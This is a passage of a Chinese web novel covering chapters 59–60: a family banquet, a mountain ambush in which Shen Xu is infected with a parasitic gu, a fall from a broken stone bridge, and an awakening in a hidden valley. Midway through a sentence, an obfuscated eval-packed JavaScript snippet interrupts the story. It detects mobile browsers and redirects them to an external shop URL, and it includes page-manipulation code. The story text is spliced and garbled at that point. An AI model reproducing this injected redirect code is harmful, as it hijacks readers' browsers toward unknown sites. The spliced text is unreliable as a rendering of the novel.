“怎么在发呆?”沈序在她身旁坐下,“难道是白日里累着了?” 今天的生辰宴办得大,宾客盈门,南夙负责白天的招待,沈序就负责晚上送客,如此合作,二人都能有机会歇息。 南夙见他略带疲惫,知晓他今日也累了,本不应该再说一些事扰乱他的思绪,可是他们启程在即,有些事是不得不说的。白天她虽然暂时将这事放下了,但不知是韩允执在背后作祟还是什么原因很快,他说的那些话又出现在南夙的生辰脑子里,令她不自觉忧虑起来。 她摇摇头,将白日里遇到韩允执的事告诉了沈序。 沈序听后,却没有露出太多的愁容,只是双手捧起她的脸,在手心里揉了揉,安慰道:“兵来将挡,水来土掩,别忧虑这么多。” 南夙浅浅笑着,轻轻点了头。 59.第 59 章 阿家生辰那天忙着招待宾客,一家人都没什么机会说说话。今日,侯爷便将侯府上下都召集在一起,准备在院子里搞一次大的家庭宴会。 真正意义上的家庭宴会。 侯府前院有空的地方都摆上了桌子,不分主仆,今日都在这院里用膳。 沈序和沈褚往年也是这么过来的,因此对这场面并不惊讶,南夙与安雀三人倒是看得惊奇,特别是知道这是每年阿家生辰后的特定流程后,南夙更是倍感惊讶。 南夙问沈序:“阿翁为什么每年都这么做呢?” 沈序只是简单地回答道:“就是一家人挑个好日子吃顿团圆饭。” 一家人。 南夙望着院子里来来往往忙着自己手中活的小厮和丫鬟们。管事在站在阶上,中气十足地喊着,安排好这边,又点点另一边。每个人都晒着自己的牙,不论是黄的还是白的。大家都穿着一样的衣服,穿行在院子里,但每个人的步伐都有条不紊,没有人撞到人的情形发生。 南夙没有想到,她居然在一个院子里看见了熙攘。 她忽然就笑了。 吃完这顿饭,他们就该启程了。饭桌上,阿家一直在嘱咐他们路上要注意安全,又让人给打点好了行装。本想再安排一些护卫小厮随他们一道去,但二人都拒绝了。南夙想早点到灵诏,因此两人决定乘马而去,若思多带了人,反而不方便。 他们二人坚持,阿家也只好顺他们的意。 侯府门口,红雾泪眼朦胧地送他们离开,这次回灵诏安雀自然是要一起回去的。至于红雾,她不会骑马,况且这次去得也急,就没带上她。 但他们都要走,就只留了红雾一人在这,她心中自有几分不舍。 装好行囊,南夙三人先后上了马。她回头看向红雾,挥手示意她回去,随后一挥马鞭,马蹄提起,扬长而去。 到了城门口,南夙轻勒马绳,马儿十分乖巧地停了步子。南夙调转马头朝向城门外西边的地方,从怀里掏出一个勺子吹向,哨响声尖锐而长,传到远处。没一会,便瞧见几个身着黑袍的男子纵马朝他们而来。 道他们跟前时,打头的人翻身下马,在南夙马前单膝跪地,“见过公主。” “起来吧。”南夙道。 这些人是阿维走时留给她的,为了让她回灵诏的路上有个保险,自己也放心些。这也是南夙她们当时拒绝阿家再找护卫跟着他们的原因。 “你叫什么名字?”待那人起身,南夙问道。 那人抱拳回道:“回公主,属下明较。” “明较。”南夙重复了一遍他的名字,“出发吧。” “是。” 京城到灵诏大部分的路程都是官道,只有一小段路因为地势险峻没法修路,因此难走些。 虽说想尽早回去,但他们也并非日夜兼程,入了秋,天已经逐渐冷了下来,尤其是傍晚夜间,因此他们白日里赶路,夜间就宿在驿站。 很快,在路上的日子就过了一个多月。 马匹停在险山的入口处。晨雾还未散尽,队伍已行至险山最窄的一处谷道。 南夙勒紧马绳,转头对身后众人道:“这段路大家小心点走。” 这段路明较昨日便提过,南夙和亲入京时是绕路走的,她只知道这里有一段路格外险峻,却并不知晓这段路的真实样貌。如今,她才真正看清,两侧山壁几乎合拢成一线天,最窄处仅容一马侧身而过,头顶是密不透风的树冠,将天光筛成细碎的金屑洒落下来。谷中安静得反常,连昨日还能听见的鸟鸣和溪水声都消失了,只剩下马蹄踏在碎石上的声响,空洞地回荡在两面石壁之间。 他们因为赶路所以选择了这条路走。 走在南夙身侧的沈序忽然勒马。 他没有回头,只是抬起了右手,五指张开,做了一个停下的手势。这个手势他做过很多次,但这一次,他的动作比以往任何一次都慢,五指张开时甚至带着几分凝滞,像是在空气中触碰到了什么看不见的东西。 他们一行人一起赶路已经一月有余,虽然认识不久,却也生了些默契。 因此他一伸手,明较在后方的脚步也停了。他的手已经按上了腰间的刀柄,目光飞速地扫过两侧山壁和前方的谷口。 “这里是否有些安静过头了?”沈序的声音很轻,但在这样逼仄的谷道里,每个字都被石壁弹了回来,清晰地落进每个人耳中。他虽然没有来过这里,但多年上战场的经验却给他一种此处不对劲的直觉。 南夙的手指不自觉地收紧了缰绳。显然,她也感受到了此处的不对劲,她张了张嘴,正想说什么—— 一支箭从左侧山壁上的树丛中破空而出。 没有弓弦的余响,没有破风的尖啸,只有一道乌光从浓密的枝叶间激射而出,快得像一条从暗处弹起的毒蛇。箭矢擦过沈序的左肩,钉入他身后的石壁,入石三分,尾羽犹颤。 “有埋伏!”明较暴喝一声,拔刀出鞘。 话音未落,更多的箭矢从两侧山壁上倾泻而下。不是齐射,而是连绵不绝的、像暴雨一样的攒射,每一支箭都精准地封死了谷道前后所有的退路。 黑袍护卫们瞬间散开,两人纵马冲到队伍最前方,以刀背格挡箭矢,两人护在南夙和安雀两侧,明较则带着最后一人断后。刀光在狭窄的谷道中织成一片密不透风的铁幕,箭矢撞上去,发出密集的金属撞击声,火星四溅。 沈序没有拔刀。 他的马在箭雨中纹丝不动,像是跟随主人在战场上见惯了这样的场面。他的目光越过纷飞的箭矢,锁定了左侧山壁上一处突起的岩石——那里有一个人影,半隐在树丛之后,正缓缓收起手中的弓。 那个人没有继续射箭。 他只是站在那里,居高临下地看着谷道中的混乱,像是在看一场与自己无关的戏。 沈序的瞳孔微微收缩。 下一刻,那个人抬起手,做了一个极其简单的手势。 箭雨停了。 谷道中骤然安静下来,安静得像方才那场铺天盖地的箭袭只是一场幻觉。但石壁上密密麻麻的箭孔和散落满地的箭矢都在提醒着所有人——这不是幻觉,这甚至不是真正的攻击,这只是一道开胃菜。 “来者何人!”明较厉声喝道,刀尖指向左侧山壁。 没有人回答。 安静持续了大约三个呼吸的时间。然后,从谷道前后两端,同时响起了脚步声。不是一个人的脚步声,而是很多人的——整齐、沉稳、带着某种刻意为之的节奏感,像鼓点,像催命的节拍。 前后各约二十人,黑衣蒙面,手持长短不一的兵器,将谷道两端堵得严严实实。他们没有急于进攻,只是站在那里,像两道被精心砌起来的墙,将整支队伍困在了这条不足十丈长的窄谷之中。 沈序终于拔刀了。 他拔出腰间那把长刃横在身前。 “南夙,”沈序的声音平静得不像是在包围圈中,“到我身后来。” 南夙没有动。 她的目光没有落在前后两端的黑衣刺客身上,而是直直地盯着山壁上的那个人。那个人戴着半张铁面具,只露出一双眼睛。那双眼睛很平静,没有杀意,甚至没有敌意,只是安安静静地俯视着谷道中的一切,像是在审视一件被摆上案板的事物。 那双眼睛,好眼熟。 “你们是什么人?”南夙的声音不大,但在寂静的谷道中,每个字都掷地有声。 山壁上的人却没有开口。 他身后此时走上来一个男子,同那人一样带着面具,声音因为面具隔着而变得低沉而模糊,像是一把被布裹住的钝刀:“奉命而来,请公主留步。” “奉的谁的命?”南夙抬眸望去,那眼神,像是裹了寒冬的霜,是旁人从未见见过的南夙。 那人没有回答。他只是再次抬起手,这一次,手势比方才复杂了许多。 前后两端的黑衣人同时动了。 他们不是一拥而上的打法,而是保持着某种严整的阵型,前后夹击,层层推进。刀剑相交的声音在谷道中炸开,明较带着护卫们迎上前去,刀光剑影在狭窄的空间里绞成一团。 沈序没有加入战团。他守在原地,刀在手中纹丝不动,目光始终锁定在山壁上的那个人身上。他在等——等那个人露出破绽,等一个出手的时机。 但那个人似乎也在等。 黑衣人比明较预想的更难缠。他们不仅武艺精湛,更重要的是配合极其默契,前后夹击时进退一致,攻防转换之间几乎没有间隙。明较的刀法刚猛凌厉,但在这条施展不开的窄谷中,反而被对方的阵型克制得死死的。 一名黑袍护卫被两柄长刀同时逼退,踉跄着撞上了石壁。他还没来得及重整架势,第三柄刀便从侧面捅入了他的肋间。他闷哼一声,刀从手中滑落,整个人顺着石壁缓缓滑坐下去,在灰白的岩壁上留下一道触目惊心的血痕。 “老五!”明较嘶声吼道,刀势骤然狂暴,连劈三人,冲到那名护卫身边。但已经晚了,那人的眼睛已经闭上了,胸口不再起伏。 南夙的手指猛地攥紧了缰绳。 安雀在她身后,脸色惨白如纸,她手中握着剑,却没有上前与敌人缠斗,而是首先看向了南夙,仿佛顷刻间便知晓了此时南夙在想什么。 南夙的脸色确实难看得厉害,即将进入灵诏国境,却在此处遇上埋伏,嫌疑最大的自然是灵诏。可是南夙并没有在来的人身上感知到蛊虫的存在。 她脑中突然就想到了阿维,换命蛊。她不是怀疑这些人是阿维派来的,而是怀疑这些人也像阿维一样换了命蛊。 他们为了赶路才选择走了这条路,派出埋伏的人一定很了解自己,知晓自己会走这条路,否则一般人都会选择绕远一些的那条路。 可若是了解自己的人,会是谁?又为什么? 沈序的眉头终于皱了起来。不是因为这些刺客的难缠,而是因为——他注意到了一件事。这些人的目标似乎不是南夙。他们的攻势虽然凶猛,但始终没有越过沈序划下的那条无形的界线,所有攻击都被控制在一个精确的范围之内,像是在……驱赶。 驱赶什么? 沈序的余光扫过身后的谷道。再往后走约莫百步,便是明较昨日提过的那处断崖——险山最险的一段,道路在此处被一道山涧切断,只余一条天然的岩石窄桥相连,桥下是数十丈深的峡谷,谷底乱石嶙峋,水流湍急。 他们的意图不是在这里截住他们,而是要把他们逼到断崖上去。 “明较!”沈序厉声道,“不要硬拼,往后退,往断崖方向退!” 明较一愣,随即也明白了过来。但明白已经太晚了——黑衣人似乎察觉到了他们的意图,攻势骤然加剧,前后两端的阵型同时收缩,像两只合拢的手掌,将他们所有人朝着断崖的方向推去。 不是驱赶,是碾压。 沈序终于动了。 他没有退,反而迎着前方的黑衣人冲了过去。双刃出鞘,沈序握着刀柄,提刀而上,他的刀法不同于明较的刚猛,也不同于寻常武者的套路,而是一种在战场上打磨出来的、极其简练高效的杀人术。每一刀都不多余,每一刀都直奔要害。三个黑衣人在呼吸之间便倒在了他的刀下,刀刀毙命,没有一丝犹豫。 山壁上的那个人看着这一幕,终于有了一点反应。他轻轻“嗯”了一声,像是看到了一件意料之外的趣事,然后从身后取下了一张弓。 那张弓比寻常的弓大了将近一倍,弓臂漆黑如墨,看不出是什么材质。他搭箭、拉弓、瞄准,三个动作一气呵成,弓弦被拉到满月之形,箭尖稳稳地指向沈序。 沈序在砍倒第四个人的瞬间,忽然感到脊背一阵发凉。那是他在边关三年练出来的直觉,一种比眼睛和耳朵都更灵敏的、对死亡的本能感知。他侧身一闪—— 箭矢擦着他的右臂飞过,削掉了一片衣料,在他的上臂留下了一道浅浅的血痕。 只是擦伤。 下一刻,沈序的脸色却忽然变了。 不是因为这支箭有多快多准,而是因为——箭矢擦过的地方,伤口周围的血肉正在以一种不正常的速度发黑。不是中毒的那种黑,而是更深层的、像是有什么活物在皮下游走的诡异色泽。 他低头看了一眼伤口,然后抬起头,望向山壁上的那个人。 那个人已经收起了弓,正用一种近乎审视的目光看着他。 “沈序。”那人慢悠悠地说道喊他的名字。 沈序并不惊讶此人知自己的名字,毕竟今日的埋伏,一看便知是有备而来,但没有理会他的话。他握刀的手依然稳定,但他能感觉到——有什么东西正在从右臂的伤口处蔓延开来,像一根根极细的丝线,顺着血管向上攀爬。不是毒,毒不会让他感到这种……这种有什么东西在他体内寻找什么的怪异感觉。 “阿序!”南夙的声音从身后传来,带着她极少流露的焦急。 她看见了。 她看见了沈序伤口处那种诡异的色泽变化,看见了那些在皮下游走的、像活物一样的黑色纹路。她的瞳孔猛地收缩,一种从未有过的恐惧从心底升起——不是对敌人的恐惧,而是对那种纹路的恐惧。 因为那种纹路,她见过——寄生。 这是一种子母蛊,字面意思,就是一蛊有两种虫,一种是母蛊,一种是子蛊。炼成这种蛊的原虫是一种繁殖能力极强的虫子,母蛊只有一只,而子蛊却能有很多只。一旦子蛊入体——可以进入多人的体内,只要控制母蛊的人杀了母蛊,那么子蛊的宿主也会死。这是一种在灵诏绝对禁止的蛊术,因为其绝对的恶毒。 “明较!”南夙的声音骤然拔高,“护住他!” 明较一刀劈开身前的黑衣人,纵身跃到沈序身旁。但沈序却伸手拦住了他。 “不用。”沈序的声音有些哑,但依然平稳,“我没有中毒。” “那是什么?”明较急道。 沈序没有回答。他再次望向山壁上的那个人,目光锐利得像刀锋。 “你对我下了什么?” 那人微微歪了歪头,似乎觉得这个问题很有趣。他沉默了片刻,然后慢条斯理地开口,声音被铁面具滤得模糊不清,但每一个字都像钉子一样钉进了在场每个人的耳朵里: “不是毒。是蛊。” 这两个字落在谷道中,像一块巨石砸进了平静的水面。 南夙的身体猛地僵住了。恐惧自心头悄然而起,她飞奔到沈序身边,拉过他的手,刚一触碰到沈序,圣蛊便躁动起来,在她心口处窜动。 “你的蛊……”南夙的声音在发抖,但她在拼命控制,“你的蛊是哪里来的?” 山壁上的那个人似乎对她的反应很满意,他轻声笑了出来。 “公主,”他微笑着说,“你的圣蛊,是不是睡着了?” “是不是睡着了,你不清楚?”南夙现在已经确定眼前这一帮人同阿维一样换了一种圣蛊无法感应到的命蛊。 但她刚刚碰到沈序时感受到了子蛊,就证明圣蛊并没有出现什么问题。 她死死地盯着那张平淡无奇的脸,声音从牙缝里挤出来:“你是灵诏的人。” 那人没有否认。他甚至微微欠了欠身,行了一个灵诏宫廷中才有的礼节。可却否认了灵诏的身份,说了一个模棱两可的答案。 “我应该……是灵诏人吧。” 南夙却捕捉到那人在听到自己这个问题时身体僵硬的那一瞬,还有,这人有些失落地声音让她莫名觉得有些熟悉。可眼下她却没法往下深思。 沈序的额头上已经渗出了细密的冷汗,黑色的纹路已经从右臂蔓延到了肩颈处,像无数条细小的蛇在他皮肤下游走。他的右手已经开始微微颤抖,但他依然用左手握着刀,刀尖稳稳地指向地面。 “沈公子。”那人转向沈序,语气中带着一丝真诚的赞赏,“你意志力不错。寻常人中了蛊,三个呼吸之内便会倒地不起,你能撑到现在,已经出乎我的意料了。” 沈序没有回答。他所有的力气都用在了对抗体内那股不断侵蚀的力量上。那股力量像一张无形的网,正在一寸一寸地收紧,将他的筋骨、血脉、甚至呼吸都一点点地束缚起来。 “母蛊在哪儿?”南夙质问道。 那人听见这话,歪了下头,南夙隔着面具看不见他的表情,却能在他的眼神里读出一种戏谑,“公主觉得呢?” 他说这些话的时候语气平淡,像是在说“今天天气不错”一样自然。 “少废话,把母蛊交出来。” 那人却像是停了什么很好笑的话一般,“公主,你是不是搞错了,现在,站在底下的是你啊。” 说着,抬起手做了个手势。 “本来……”那人微微抬起头,望向险山上空那条被峡谷裁成狭长一条的天空,声音变得很轻,像是在自言自语,“我是想留你一命的。” 话音落下,他纵身一跃,消失在了山壁上的树丛之中。 谷道中的黑衣人在同一时间收手、后撤、消失在雾气和树林之中,动作整齐得像是被同一根线牵引的木偶。前后不过几个呼吸的时间,所有的刺客便退得干干净净,只留下满地的箭矢、血迹,和那具靠在石壁上的黑袍护卫的尸体。 安静重新降临了险山。 但这种安静和之前的安静不同。之前的安静是诡异的、刻意的,像暴风雨来临前的死寂。而现在的安静是真实的、空洞的,像一场刚刚结束的噩梦过后,醒来时发现枕边还残留着梦中的寒意。 沈序的身体晃了晃。 “阿序!”南夙一把扶住他。 沈序靠在她肩上,呼吸急促而沉重。那些黑色的纹路虽然没有继续蔓延,但也完全没有消退的迹象,像一道道黑色的锁链缠绕在他的肩颈和右臂上。他的右手已经完全失去了力气,短刀从指间滑落,掉在地上,发出清脆的一声响。 “我的力气……在流失。”沈序的声音很低,每一个字都像是用了全身的力气。 南夙慌忙叫过安雀。安雀立刻明白她的意思,在包袱中掏出一个药品,抖出一颗药丸递到南夙手中。 南夙喂给沈序,“吃掉它,能暂时阻止子蛊扩散。” 沈序听话地吃下药丸,瞬间感受到一股气流像是堵在心口一样,他慢慢地调整呼吸,安慰着南夙。 “我没事。”沈序说着“没事”,但他的手已经几乎抬不起来了,“我们先离开这里。那些人有备而来,不知道还会不会——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351663|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的话没说完。 因为一阵密集的马蹄声从谷道两端同时响起,比方才更加急促、更加沉重。不是二十人,是更多的——马蹄声像滚雷一样从远处碾压过来,震得地上的碎石都在微微跳动。 明较的脸色彻底变了。 “他们又回来了——” “不,不是他们。” 话音未落,前后两端同时出现了黑压压的人影。不是方才那些训练有素的刺客,而是更多的、密密麻麻的、像潮水一样涌来的黑衣骑兵,他们没有带着面具,可却一个个面目可憎,每个人的练都如被烈火灼烧过一般,留下可怖的伤疤。 南夙瞬间便看出这些人身上被下的蛊——烙魂。 在杭州时南夙见到乞丐手臂上的伤时,怀疑他被下了蛊,她当时说的就是这种蛊。 那些黑衣骑兵们骑着高头大马,手持长矛,在狭窄的谷道中排成密集的冲锋阵型,马蹄踏在石地上,溅起一串串火星。 这一次,不是驱赶。 是真正的、不留任何余地的围杀。 “走!”明较嘶声吼道,“往断崖方向走!快!” 护卫们拼死断后,明较带着剩下的三人堵在谷道后端,刀光如匹练般展开,将最先冲上来的几名骑兵连人带马砍翻在地。但后面的人潮水一样涌上来,杀不胜杀。 沈序用尽最后的力气翻身上马,南夙紧随其后,安雀也立刻上马跟上,一行人沿着谷道朝断崖方向狂奔。 身后是喊杀声、马蹄声、刀剑碰撞声,以及明较嘶哑的怒吼。 前方是越来越窄的道路、越来越浓的雾气,以及—— 断崖。 南夙勒马停在断崖边缘的时候,身后的喊杀声已经越来越近了。 她低头看了一眼崖下——数十丈深的峡谷,谷底是嶙峋的乱石和湍急的水流。水声在峡谷中回荡,像无数只巨兽在同时低吼。崖边有一条天然的岩石窄桥,不过两尺宽,长约三丈,桥面上布满青苔,湿滑无比。桥的另一端连着对面的山壁,那里有一条同样窄小的山路,通往险山之外。 这是唯一的出路。 “过桥!”南夙厉声道。 沈序的马停在桥头,迟迟不肯上前。动物的本能比人类更加敏锐——它感受到了桥面的湿滑和崖下的深渊,四蹄死死地钉在地上,任凭沈序如何催促都不肯迈步。 沈序咬了咬牙,翻身下马。 但他落地的时候双腿一软,险些跪倒在地。他的力气已经流失了大半,每一步都像是在泥沼中跋涉。他拖着几乎不听使唤的身体,一步一步地朝桥上走去。 “阿序,快!”南夙在桥的另一端焦急地喊道。 沈序踏上了桥面。 青苔在脚下打滑,他踉跄了一下,伸手扶住身侧的石壁,稳住了身形。他一步一步地挪动着,每走一步都要用尽全身的力气。黑色的纹路已经蔓延到了他的脖颈处,像一条条勒紧的绳索,压迫着他的血管和神经。 他走到桥中央的时候,身后传来了马蹄声。 南夙抬头望去——断崖的另一端,黑衣骑兵已经追了上来。他们没有试图过桥,而是在桥头勒马,然后从马上取下弓箭,整齐地列成了一排。 弓弦拉满的声音在峡谷中响起,整齐得像一声号令。 “放——” 南夙的瞳孔猛地收缩。 她看见了数十支箭矢同时离弦,在空中划出密集的弧线,铺天盖地地朝桥上射来。 “阿序!” 沈序听到了箭矢破风的声音。他的身体已经无法做出任何闪避的动作,但他在那一刻做出了一个选择——他没有试图躲避,而是用尽了最后一丝力气,朝前扑去。 他的手够到了桥的另一端。 南夙抓住了他的手。 与此同时,一支箭矢射穿了他的左肩,另一支钉入了他的后背。鲜血在箭杆周围洇开,将他的衣衫染成了深红色。 沈序闷哼一声,手指在南夙掌心滑了一下。 “抓住我!”南夙嘶声喊道,双手死死地攥住他的手腕,“抓住我,阿序!” 更多的箭矢落在他们周围,有的打在石壁上溅起碎石,有的擦着南夙的耳边飞过。一名护卫试图冲上前来,但他们此刻被隔在桥的另一边,自己都应付不过来射来的箭。 安雀手挥着剑,试图找到空当上前帮助南夙。 沈序抬头看着南夙。 他的脸上沾满了血和汗,嘴唇已经失去了血色,但他的眼神依然清明。他看着南夙,看着她因为用力而青筋暴起的手背,看着她眼中几乎要溢出来的恐惧和绝望。 “南夙。”他叫她。 “你别说话!用力!上来!” “南夙,”他又叫了一遍她的名字,声音很轻,轻得几乎要被箭矢的破风声和谷底的水声淹没,“松手。” 南夙愣住了。 “你说什么?” “桥要断了。” 南夙低头一看——桥面上被箭矢射出了数道裂痕,青苔覆盖的岩石正在以肉眼可见的速度开裂,细碎的碎石从桥面上簌簌落下,坠入数十丈深的峡谷。 “不。”南夙拼命地摇头,手上的力气又加大了几分,“我不会松手!你给我上来!” 沈序看着她,忽然笑了。 那是一个很淡的笑,淡得像深秋早晨的第一缕阳光,还没来得及照亮什么就被云层遮住了。 “你上去之后,”他说,“带着明较他们走,别回灵诏……” “闭嘴!”南夙的眼泪终于落了下来,砸在沈序满是血污的脸上,“你现在是在说什么,遗言吗?我不听,你——” 桥面发出了最后一声脆响。 裂缝从桥中央蔓延到了两端,整座石桥在那一瞬间像是被什么东西从中间折断了一样,轰然断裂。大块的岩石坠入峡谷,砸在乱石上发出震耳欲聋的声响。 南夙感到手中猛地一沉—— 沈序的身体随着断裂的桥面向下坠去。 但她没有松手。 她趴在断崖边缘,一只手死死地攥着沈序的手腕,另一只手抓住了崖边一丛荆棘的根部。荆棘的刺扎进了她的掌心,鲜血顺着她的手指滴落在沈序的脸上。 沈序悬在半空中,身后是数十丈深的峡谷。他的重量加上断裂桥面的拉扯,让南夙的身体一寸一寸地被拖向崖边。 “松手!”沈序的声音骤然拔高,带着她从未听过的急切和愤怒,“南夙,松手!” “我不松!” “你会跟我一起掉下去的!松手!” “我说了不松!” 南夙的指甲嵌进了沈序手腕的皮肉里,鲜血从她的指缝间渗出来,分不清是她的还是他的。她的身体已经被拖出了崖边大半,只剩下双腿还勾在一塊凸起的岩石上。荆棘从根部断裂,她手中一空,整个人又往外滑了几分。 “小姐!”安雀的尖叫声从远处传来。 那名黑袍护卫冲上来想要拉住她,但已经来不及了—— 南夙身下的那块岩石松动了。 她感到自己的身体在那一瞬间失去了所有的支撑,整个人连同那块松动的岩石一起,朝着深渊坠落。 但在坠落的瞬间,她没有松手。 她依然死死地攥着沈序的手腕,将他在半空中拉向自己。两个人的身体在坠落中靠近、贴近、最终紧紧地抱在了一起。 风声在耳边尖啸。 谷底的水声越来越近。 沈序用尽最后一丝力气,将南夙的头按在自己的胸口,用自己的后背朝向下方嶙峋的乱石和湍急的水流。 “别怕。”他在她耳边说。 声音很轻,轻得像是怕惊醒一个沉睡的人。 然后—— 冰冷的水流吞没了一切。 断崖边缘,安雀趴在碎石地上,双手死死地抠着地面,指甲断裂,血肉模糊。她的眼睛瞪得大大的,望着下方翻滚的白色水花和渐渐消散的雾气。 她没有哭。 她只是趴在那里,一动不动,像一尊被遗忘在崖边的石像。 “小姐……”她嘴角轻动,像在呢喃。 身后,明较浑身浴血地冲到了断崖边缘。他看见的是断裂的石桥、空荡荡的崖顶,以及—— 深渊。 “不……”明较的声音像是从喉咙深处挤出来的,沙哑、破碎、不成语调。 他跪倒在崖边,拳头重重地砸在地上,一下,又一下。 峡谷中,水声轰鸣,雾气翻涌,将所有的痕迹都慢慢地、一点一点地吞噬了。 而在险山的背面,一个人站在那里,他猛地扯下面具的带子,将面具狠狠砸向站在眼前的人。 “我不是说了要留她一命,谁让你们动手的?” 面前的人低着头,对他的愤怒不为所动,只是回了一句,“我等只听令主上。” “哼”,那人发出一声不屑的轻哼,因愤怒而凝聚在胸前的气终于呛进了肺里,他没忍住抵着唇轻咳了几声。 直到缓过来一些,他复又抬头,露出一个嘲讽的表情。 “他倒是狠得下心,对自己亲生女儿的命都能视若无睹。” 说完,他提步离去。没有再回头。 60.第 60 章 水很冷。 这是南夙恢复意识时感知到的第一件事。冷得像无数根细针同时扎进皮肤,从四肢百骸一路刺到骨髓深处。她想睁开眼睛,但眼皮沉得像灌了铅,只能感觉到水流从脸颊两侧淌过,带着浓重的泥土和铁锈的气味。 第二件事是疼。 右侧肋骨的位置传来一阵钝痛,每一次呼吸都像有人用钝刀在那里慢慢地割。她的嘴唇大概是破了,嘴里满是血腥味,混着河水的腥气,让人作呕。 南夙是被一阵鸟鸣声吵醒的。 那鸟鸣很奇怪,不像她听过的任何一种。声音清越而绵长,一声接一声,像是在呼唤什么,又像是在应答什么。她闭着眼睛听了很久,才意识到这鸟鸣不是从外面传来的,而是从她自己的脑海里响起来的——不,不对,是她体内的圣蛊在回应什么东西。 圣蛊醒了,不是往常感知到其它蛊虫时的躁动,而是一种轻柔的,缓慢的苏醒,是一种真正的、完整的、带着某种久别重逢般的喜悦的苏醒。它在她体内缓慢地运转着,银色的光芒透过她的皮肤渗出来,将她整个人笼罩在一层薄薄的银辉之中。 南夙缓缓睁开眼睛。 入目的是一片陌生的屋顶。不是她见过的任何一种建筑——不是侯府的青瓦飞檐,不是驿站的简陋木梁,也不是灵诏宫廷的金色穹顶。这屋顶是用一种她从未见过的材料铺成的,像是某种巨大的叶片,层层叠叠地覆盖在一起,边缘微微卷曲,在透过窗棂的光线下泛着深绿色的光泽。 她躺在一张床上。床架是用整根竹子弯成的,所有的连接处都是用藤条缠绕固定的。被褥是粗布制成的,但摸上去有一种奇异的柔软,带着草木的清香。 她试着动了动手指——能动。试着抬了抬手臂——也能动,但酸软得厉害,像是被人抽走了所有的力气。 记忆在脑海中翻涌上来:断崖、石桥、箭矢、坠落、冰冷的水流、沈序将她按在胸口的手臂……然后是一片漆黑,什么都想不起来了。 沈序。 南夙猛地撑起身体,剧烈的眩晕让她眼前一黑,险些重新栽倒。她咬着牙稳住身形,目光急切地在屋内扫视。 这间屋子不大,靠墙处有一张同样用竹子搭成的矮榻,榻上铺着粗布被褥——空的。没有人。 南夙的心沉了一下。她掀开被子下床,脚刚一触地,膝盖便软了一下,整个人踉跄着扶住了床架。余光忽地瞥见自己的手,一种从未见过的银色纹路从自己的手臂缓缓地流向手背,流向手心。像是一条条银色的溪流在她的皮肤下缓缓流淌。 银线从她眸子里缓缓游过,连十九蛊都再附和,可它们都是温柔的,南夙没有感受到疼痛,只觉得一种舒适淌过全身。她谁然受了伤,却丝毫没有感受到半分疼痛。 没等她好好琢磨这银色纹路的来处,她踉跄着往前走了两步,路过旁边的镜抬,忽然停了脚步。她抬手摸了一下自己的眼睛。手指触到眼睫的时候,她顿了一下。 她的眼睛,又变成琉璃色了。她回忆了一下从前几次眼睛变回琉璃色的情况,第一次是在杭州,她落了水,第二次是在侯府,她不小心跌进了汤池;还有,上一次,她与沈序坠崖,掉进了水里。 所以,是水吗? “夙儿的眼睛与常人不同,不可让外人知晓。”这是阿姎反复叮嘱她的话。 南夙深吸一口气,压下心中翻涌的思绪。沈序的安危比她的眼睛重要得多。 她撑着床架站起来,踉跄着朝门口走去。竹帘被人从外面掀开,一个年轻男子走了进来。 这人很年轻,看起来最多不过三十出头的年纪,身形颀长,面容清瘦,颧骨略高,眼窝深陷,瞳孔是一种极深的褐色。他穿着一身深红色的粗布衣裳,样式和南夙见过的所有服饰都不一样——对襟开合,用一排骨扣固定,腰间系着一条编制繁复的彩色腰带,腰带上挂着几串细小的银饰,走动时发出细碎的声响。 他手里端着一只陶碗,碗里盛着某种深绿色的药汁,还冒着热气。看见南夙站在床边的那一刻,他明显愣了一下,随即露出一个笑容。那笑容很淡,但很真诚。 “醒了?”他的声音低沉,带着一种奇特的口音,咬字方式和南夙习惯的官话完全不同,但每个字都说得很慢很清晰,“你昏迷了两天。” 两天。 南夙的心沉了一下。“跟我一起的那个人——” “那个男的?”年轻男子将陶碗放在床边的矮几上,“他伤得比你重。箭伤,落水的时候又撞到了石头,断了两根肋骨,后背划了一道长口子。不过命保住了,现在还在昏着。” 南夙的手指攥紧了床架。“我能去看他吗?” “能走?” 南夙没有说话,直接迈步走了出去。步伐虽然慢,但很稳。 年轻男子挑了挑眉,没说什么,侧身给她让开了路。 屋外的景象让南夙停住了脚步。 这是一个建在山谷中的村子。房屋依山势而建,层层叠叠,但每一间屋子都不是用砖石或木材搭建的,而是用一种巨大的植物改造而成的。那些植物的叶片硕大无比,每一片都有丈许见方,边缘自然弯曲,向内合拢,形成一个个天然的穹顶空间。叶片与叶片之间用藤桥相连,在风中微微摇晃。 整个村子被四面陡峭的山壁环绕着,山壁上覆满了藤蔓和蕨类植物,几乎看不见岩石的颜色。从谷底向上望去,只能看见一线窄窄的天空。一条溪流从山壁的缝隙中涌出,在谷底汇成一潭碧水,又从潭水的另一端流出去,消失在另一片藤蔓覆盖的山壁下方。 “这是什么地方?”南夙问。 “红谷。”年轻男子走在她前面,回头看了她一眼,目光在她的眼睛上停留了一瞬,但什么也没问。 沈序躺在一间比其他的都大些的叶片屋里。 他闭着眼睛,面色苍白得几乎要和身下的粗布被褥融为一体。他的左肩和胸口缠满了布条,呼吸很慢,但很平稳,胸膛微微起伏着。 南夙在矮榻边蹲了下来。她伸出手,指尖悬在他的眉心上方。 你怎么样。南夙蹲在他身侧,脑中便不自觉冒出这句话。下一秒,一道很浅,几乎不可见的银色的光芒从她的指尖渗出,钻入沈序的眉心。 南夙瞬间知晓了沈序现在的状况。断了两根肋骨,左肩的箭伤很深,后背的伤口从肩胛一直延伸到腰际。那只黑色的蛊——那只在险山上被种入他体内的蛊——已经不在了。但在他体内残留着一些细小的、黑色的碎片,像碎玻璃一样嵌在血管和筋络之间。 南夙的眉头皱了起来。 这是怎么回事?她有些茫然地望向自己的手,手腕上能看到一点银色的纹路。她为什么能瞬间知晓沈序的身体状况,这是以前从来没有发生过的事。 